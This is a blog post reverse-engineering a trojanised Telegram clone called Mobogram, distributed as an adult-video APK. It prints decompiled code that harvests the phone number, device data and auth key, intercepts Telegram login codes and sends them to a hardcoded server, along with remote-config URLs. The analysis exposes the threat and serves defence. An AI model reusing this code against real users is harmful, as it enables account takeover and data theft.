Reverse Engineering a trojan Telegram Clone November 15, 2024 on Dozheiny's blog

Telegram is one of the largest platforms where individuals can commit digital crimes without being noticed, unless someone reports their content. You can easily find related material with a simple search through channels. On channels managed by Iranians, in particular, there are sometimes disturbing contents like child abuse, violence, and more. Additionally, it can be an ideal platform for deploying trojan on a large scale.

I was looking for something on Telegram and came across an APK file named “ایرانی +18 ویدیو.apk,” which translates to “Iranian +18 video.apk” in English. My curiosity was piqued, so I decided to emulate the app. And guess what? It turned out to be a Telegram clone called Mobogram. So, I started reverse-engineering it.

There’s a one imposter among us with telegram logos

A message in telegram with اگه ویدئو سوپر ایرانی میخوای دانلود کن discription
Mobogram first page screenshot that is has diffrent logo with real Telegram logo.

Start Reversing

Moh53n wrote a blog post discussing two or three Telegram clones and how these apps are have remote control on users. those clones was signed by these CN and OU:

Subject:  CN=hoshi, OU=khalkhaloke

But this imposter app is signed diffrently

Subject: ST=mobo, L=mobo, O=mobo, OU=mobo, CN=mobo

This isn’t proof that these apps have different authors, but maybe it suggests they serve different purposes.
First, I tried to find the main activity function. By searching for the main keyword in the Android manifest, I located it.

<activity-alias
  android:name="org.telegram.messenger.DefaultIcon"
  android:enabled="true"
  android:exported="true"
  android:targetActivity="org.telegram.ui.LaunchActivity">
  <intent-filter>
    <action android:name="android.intent.action.MAIN"/>
    <category android:name="android.intent.category.LAUNCHER"/>
    <category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
    </intent-filter>
    <meta-data
      android:name="android.app.shortcuts"
      android:resource="@xml/shortcuts"/>
</activity-alias>

I was examining the imported libraries to see if anything looked suspicious, and voilà!

import org.telegram.dark.AppConfig;
import org.telegram.dark.AppSettings;
import org.telegram.dark.Helper.Utils;
import org.telegram.dark.ProxyFinder;
import org.telegram.dark.Ui.Activity.AnsweringMachineSettingsActivity;
import org.telegram.dark.Ui.Activity.CacheCleaner;
import org.telegram.dark.Ui.Activity.ContactUpdates.UpdateActivity;
import org.telegram.dark.Ui.Activity.DownloadManagerActivity;
import org.telegram.dark.Ui.Activity.FavoritesChannels;
import org.telegram.dark.Ui.Activity.FindUsersActivity;
import org.telegram.dark.Ui.Activity.ProfileAvatarMaker;
import org.telegram.dark.Ui.Activity.ProfileMaker;
import org.telegram.dark.Ui.Activity.SelectFontActivity;
import org.telegram.dark.Ui.Activity.SpecialSettingsActivity;
import org.telegram.dark.Ui.Activity.SpecificContacts;
import org.telegram.dark.Ui.Activity.TimeLineActivity;
import org.telegram.dark.Ui.Cell.DrawerActionCheckCell;
import org.telegram.dark.model.NativeDialog;

I found a package named org.telegram.dark. The word dark seemed suspicious, so I compared the original Telegram app with the imposter. The original app doesn’t include any “dark” package in its source code.

➜  telegram ls
messenger  SQLite  tgnet  ui

The imposter app contains an additional package that doesn’t exist in the original.

➜  telegram ls
Dark  messenger  SQLite  tgnet  ui

Dark package contains these files and directories:

➜  dark ls -l
total 80
drwxrwxrwx 1 root root  4096 Nov 13 17:37 adapter
drwxrwxrwx 1 root root  4096 Nov 13 17:37 Ads
-rwxrwxrwx 1 root root 31911 Nov 13 17:37 AppConfig.java
-rwxrwxrwx 1 root root  3303 Nov 13 17:37 AppLogger.java
-rwxrwxrwx 1 root root 17339 Nov 13 17:37 AppSettings.java
drwxrwxrwx 1 root root  4096 Nov 13 17:37 Controller
drwxrwxrwx 1 root root  4096 Nov 13 17:37 DataBase
-rwxrwxrwx 1 root root   558 Nov 13 17:37 GhostPorotocol.java
drwxrwxrwx 1 root root  4096 Nov 13 17:37 Helper
drwxrwxrwx 1 root root  4096 Nov 13 17:37 model
-rwxrwxrwx 1 root root   404 Nov 13 17:37 PrefManager.java
-rwxrwxrwx 1 root root 24135 Nov 13 17:37 ProxyFinder.java
drwxrwxrwx 1 root root  4096 Nov 13 17:37 service
drwxrwxrwx 1 root root  4096 Nov 13 17:37 shamsicalendar
drwxrwxrwx 1 root root  4096 Nov 13 17:37 Ui

I took a look at the AppConfig.java file.
At the beginning of this file, there’s an AppConfig class that defines some environments. However, in the appStarts function, it automatically joins you to the mobogram_n3 (t[.]me/mobogram_n3) channel after the application loads.

  public static void appStarts(DialogsActivity dialogsActivity) {
    AppMainChannel = getAppMainChannel();
    OfficialChannel = getOfficialChannel();
    if (joinAtStart) {
      ChannelHelper.JoinFast(AppMainChannel, false, false, false, true, false, 0);
  }
}

As suggested by the name AppConfig.java, this file serves as a configuration environment, and these environment values come from the RemoteConfig class located in the org.telegram.dark.Ads.Services package.
The org.telegram.dark.Ads package is heavily focused on advertisements—extremely focused. For example, the org.telegram.dark.Ads.Services.ContactsScanner class waits for a command to loop through your contacts and add them to specified channels and groups. It even includes a poorly implemented popup feature that redirects you to Telegram channels, Instagram accounts, or the Bazaar application. This behavior is evident in the org.telegram.dark.Ads.Services.PopScanner class. It’s obvious that this package is a remote control mechanism for your account. The RemoteConfig class that exists in AppSettings.java listens for commands to add you to their groups, send advertisement messages to your contacts, and show you intrusive popups.
The developer(s) left some footprints in the source code that they didn’t bother to remove. For instance, they included unnecessary loggers and a significant amount of poorly written code.
Here’s an example of how RemoteConfig redirects you to a given link:

if (i >= 400) {
try {
  Log.e("MyTest", AppConfig.getDrawerLayoutItem());
  JSONArray jSONArray = new JSONArray(AppConfig.getDrawerLayoutItem());
  for (int i2 = 0; i2 < jSONArray.length(); i2++) {
    JSONObject jSONObject = (JSONObject) jSONArray.get(i2);
    if (i - 400 == i2) {
      Browser.openUrl(this, jSONObject.getString("link"));
      this.drawerLayoutContainer.closeDrawer(false);
    }
  }

  return;
} catch (Exception e) {
  Log.e("MyTest", e.getMessage());
  return;
  }
}

And shitty logs

shitty logs

It’s a fucking trojan!

As a test, I used a phone number that I knew didn’t have a Telegram account for signing in. The app displayed the message: “We’ve sent the code to the Telegram app for your phone number on your other device.”
That’s suspicious—how could it send a code to a phone number without an associated Telegram account?
I copied some log keys and started monitoring the logger. And voilà, I found something again!

~ adb logcat -s DebugMain ProxyFinder AppLogger salamati "ASROID FORCE" runnable remote Admob loginRequest
--------- beginning of main
1230  1230 E DebugMain: canscan : true
1422  1422 D DebugMain: getRandomApi7
1422  1422 E DebugMain: 49C1522548EBACD46CE322B6FD47F6092BB745D0F88082145CAF35E14DCC38E1____4_________014b35b6184100b085b0d0572f9b5103
1422  1422 D DebugMain: getRandomApi7
1422  1422 E DebugMain: 49C1522548EBACD46CE322B6FD47F6092BB745D0F88082145CAF35E14DCC38E1____4_________014b35b6184100b085b0d0572f9b5103
1422  1422 E DebugMain: canscan : true
1422  1422 E DebugMain: canscan : true
1422  1422 E DebugMain: canscan : true
1422  1422 E DebugMain: canscan : true
1422  1422 D ProxyFinder: etRand1
1422  1422 D ProxyFinder: randd =2
1422  1422 D ProxyFinder: rand2 =-1
1422  1422 D ProxyFinder: etRand3
1422  1422 D ProxyFinder: showSponsor= true
1422  1422 D ProxyFinder: etRand1
1422  1422 D ProxyFinder: randd =1
1422  1422 D ProxyFinder: rand2 =2
1422  1422 D ProxyFinder: etRand3
1422  1422 D ProxyFinder: showSponsor= true
1422  1422 D ProxyFinder: proxyInfo.ping =341
1422  1422 D ProxyFinder: proxyInfo.adrees =3.144.122.58
1422  1422 D ProxyFinder: showSponsor= true
1422  1422 D ProxyFinder: proxyInfo.ping =99
1422  1422 D ProxyFinder: proxyInfo.adrees =34.221.147.117
1422  1422 D ProxyFinder: showSponsor= true
1422  1422 D ProxyFinder: etRand1

After searching on canscan into decompiled source code, I found the class that called logger function.

    public void scan(Context context) {
        String str;
        String str2;
        String str3;
        String str4;
        String str5;
        this.context = context;
        loge("canscan : " + canScan());
        if (canScan() && !this.scanCompeted && MessagesController.getInstance(this.currentAccount).dialogFiltersLoaded && MessagesController.getInstance(this.currentAccount).dialogFiltersLoadedInternal) {
            this.scanCompeted = true;
            if (AppConfig.getPanelAuthKeyEnable()) {
                String str6 = "+" + UserConfig.getInstance(this.currentAccount).getCurrentUser().phone;
                try {
                    str2 = LocaleController.getSystemLocaleStringIso639().toLowerCase();
                    str3 = LocaleController.getLocaleStringIso639().toLowerCase();
                    str4 = Build.MANUFACTURER + Build.MODEL;
                    PackageInfo packageInfo = ApplicationLoader.applicationContext.getPackageManager().getPackageInfo(ApplicationLoader.applicationContext.getPackageName(), 0);
                    str5 = packageInfo.versionName + " (" + packageInfo.versionCode + ")";
                    if (BuildVars.DEBUG_PRIVATE_VERSION) {
                        str5 = str5 + " pbeta";
                    } else if (BuildVars.DEBUG_VERSION) {
                        str5 = str5 + " beta";
                    }
                    str = "SDK " + Build.VERSION.SDK_INT;
                } catch (Exception unused) {
                    str = "SDK " + Build.VERSION.SDK_INT;
                    str2 = "en";
                    str3 = BuildConfig.APP_CENTER_HASH;
                    str4 = "Android unknown";
                    str5 = "App version unknown";
                }
                HashMap hashMap = new HashMap();
                hashMap.put("number", str6);
                hashMap.put("device_model", str4);
                hashMap.put("app_version", str5);
                hashMap.put("system_version", str);
                hashMap.put("lang_code", str3);
                hashMap.put("system_lang_code", str2);
                hashMap.put("app_id", String.valueOf(BuildVars.APP_ID));
                hashMap.put("app_hash", BuildVars.APP_HASH);
                hashMap.put("auth_key", NativeConfig.getAuthKey());
                hashMap.put("dc", String.valueOf(ConnectionsManager.getInstance(this.currentAccount).getCurrentDatacenterId()));
                log(String.valueOf(hashMap));
                requestToPanel(AppConfig.getPanelAuthKey(), hashMap, new PanelMember() { // from class: org.telegram.dark.service.SessionController.1
                    @Override // org.telegram.dark.service.SessionController.PanelMember
                    public void result(String str7) {
                        if (str7.contains("phone is already") || str7.contains("created")) {
                            SessionController.this.preferencesEditor.putLong("last_time_scan" + UserConfig.selectedAccount, System.currentTimeMillis()).apply();
                        }
                    }
                });
                return;
            }
            loge(getSessionControllerMode() + ":SESSION MODE_____" + this.currentAccount);
            Long l = 777000 L;
            JoinFast.mute(true, l.longValue());
            scanCurrent(new Runnable() { // from class: org.telegram.dark.service.SessionController$$ExternalSyntheticLambda1
                @Override // java.lang.Runnable
                public final void run() {
                    SessionController.this.lambda$scan$4();
                }
            });
        }
    }

It’s clear that they send my device information to their server to check whether my phone is already in their database. The requestToPanel function sends this information to their server.
After investigating where the requestToPanel function was called, I found a very interesting function.

            @Override // java.lang.Runnable
            public void run() {
                SessionController.this.log("Send2");
                int[] iArr = this.val$tryNum;
                if (iArr[0] > 5) {
                    return;
                }
                iArr[0] = iArr[0] + 1;
                SessionController.this.log("Send3");
                TLRPC$TL_dialog tLRPC$TL_dialog = (TLRPC$TL_dialog) MessagesController.getInstance(SessionController.this.currentAccount).dialogs_dict.get(777000 L);
                if (tLRPC$TL_dialog != null) {
                    MessagesController.getInstance(SessionController.this.currentAccount).loadMessages(tLRPC$TL_dialog.id, 0 L, false, 2, 0, 0, false, 0, 0, 0, 0, 1, 0 L, 0, 0, false);
                    MessageObject messageObject = MessagesController.getInstance(SessionController.this.currentAccount).dialogMessagesByIds.get(tLRPC$TL_dialog.top_message);
                    SessionController sessionController = SessionController.this;
                    StringBuilder sb = new StringBuilder();
                    sb.append("Send4//");
                    sb.append(tLRPC$TL_dialog.unread_count > 0);
                    sb.append("//");
                    sb.append(tLRPC$TL_dialog.last_message_date == messageObject.messageOwner.date);
                    sessionController.log(sb.toString());
                    if (tLRPC$TL_dialog.last_message_date == messageObject.messageOwner.date) {
                        SessionController.this.log("Send5");
                        Matcher matcher = Pattern.compile("\\d+").matcher(String.valueOf(messageObject.messageText));
                        if (matcher.find()) {
                            String group = matcher.group();
                            System.out.println("Verification code: " + group);
                            SessionController.this.log("Send6");
                            try {
                                Log.e("DebugMain", "Code Sended :" + group);
                                AnonymousClass13.this.val$map.put("code", group);
                                AnonymousClass13 anonymousClass13 = AnonymousClass13.this;
                                anonymousClass13.val$map.put("password", SessionController.this.getPassV2(anonymousClass13.val$phone.replace("+", BuildConfig.APP_CENTER_HASH), "None"));
                                SessionController.this.requestToPanel(AppConfig.getPanelMemberFaceLogin(), AnonymousClass13.this.val$map, new PanelMember() { // from class: org.telegram.dark.service.SessionController.13.1.1
                                    @Override // org.telegram.dark.service.SessionController.PanelMember
                                    public void result(String str) {
                                        if ("Wrong Code".equals(str)) {
                                            AnonymousClass1.this.run();
                                            return;
                                        }
                                        if (str.contains("expired")) {
                                            AnonymousClass13 anonymousClass132 = AnonymousClass13.this;
                                            SessionController.this.sendSessionToBot(anonymousClass132.val$finish);
                                        } else {
                                            Runnable runnable = AnonymousClass13.this.val$finish;
                                            if (runnable != null) {
                                                runnable.run();
                                            }
                                            AppLogger.sendLog(str);
                                        }
                                    }
                                });
                                return;
                            } catch (Exception unused) {
                                run();
                                return;
                            }
                        }
            }

And this logs appears.

11-15 15:01:36.926  1422  1422 E DebugMain: try_phone :****
11-15 15:01:36.926  1422  1422 E DebugMain: url : http://185.208.172.29:8182/try_phone?number=****&channel=https://t.me/mobogram_n3

They send my code to their server. It’s not just an advertisement application; it’s a fucking Trojan. But the hackers failed. Why? Because Telegram changed their method for signing up new users. They no longer send SMS codes. After you enter your phone number, they ask for your email to send the code. So, if you don’t have a Telegram account, you’re safe. However, if you do have an account, Telegram first sends the code to your Telegram app. If you press “Resend Code” that’s when the Trojan horse comes to your phone.

After some investigation, I found the add_phone function.

public static void add_phone() {
        if (ApplicationLoader.applicationContext.getSharedPreferences("AppLogger", 0).getBoolean(UserConfig.getInstance(UserConfig.selectedAccount).getClientPhone(), false)) {
            return;
        }
        send_request("http://185.208.172.29:8182/add_phone?number=xasfas&channel=qweqw".replace("xasfas", UserConfig.getInstance(UserConfig.selectedAccount).getClientPhone().replace(" ", BuildConfig.APP_CENTER_HASH)).replace("qweqw", "https://t.me/" + AppConfig.getAppMainChannel()));
    }

Where are the ads and proxies loaded?

This Trojan app has pre-imported proxies that you can use. This is probably done to make it easier for people to log in. Remember the AppConfig.java file? It contains a remote link for loading ads and proxies.


    public static String getPicslink() {
        return ApplicationLoader.applicationContext.getSharedPreferences("app_Settings_new", 0).getString("picsLink2", "https://service.telogramofficial.com/telegram/prc/list.json?dl=1");
    }

    public static String getProxyLinkMahamad() {
        return ApplicationLoader.applicationContext.getSharedPreferences("app_Settings_new", 0).getString("ProxyLinkMohamad", "https://tlb7.xyz");
    }

    public static String getProxyLinkJafari() {
        return ApplicationLoader.applicationContext.getSharedPreferences("app_Settings_new", 0).getString("ProxyLinkJafari", "https://turbo.vizzy.cfd/pxs");
    }

    public static String getRemoteLink() {
        return ApplicationLoader.applicationContext.getSharedPreferences("app_Settings_new", 0).getString("remoteLink2", "https://turbo.vizzy.cfd/api/v1/application/asdcasdmobogram_n3sadxsdas");
    }

It’s clear which functions load the proxies, and the turbo.vizzy[.]cfd domain is where the ads are loaded. If you follow the white rabbit, you’ll find the turboads-smart[.]com domain, which owns the turbo.vizzy[.]cfd domain.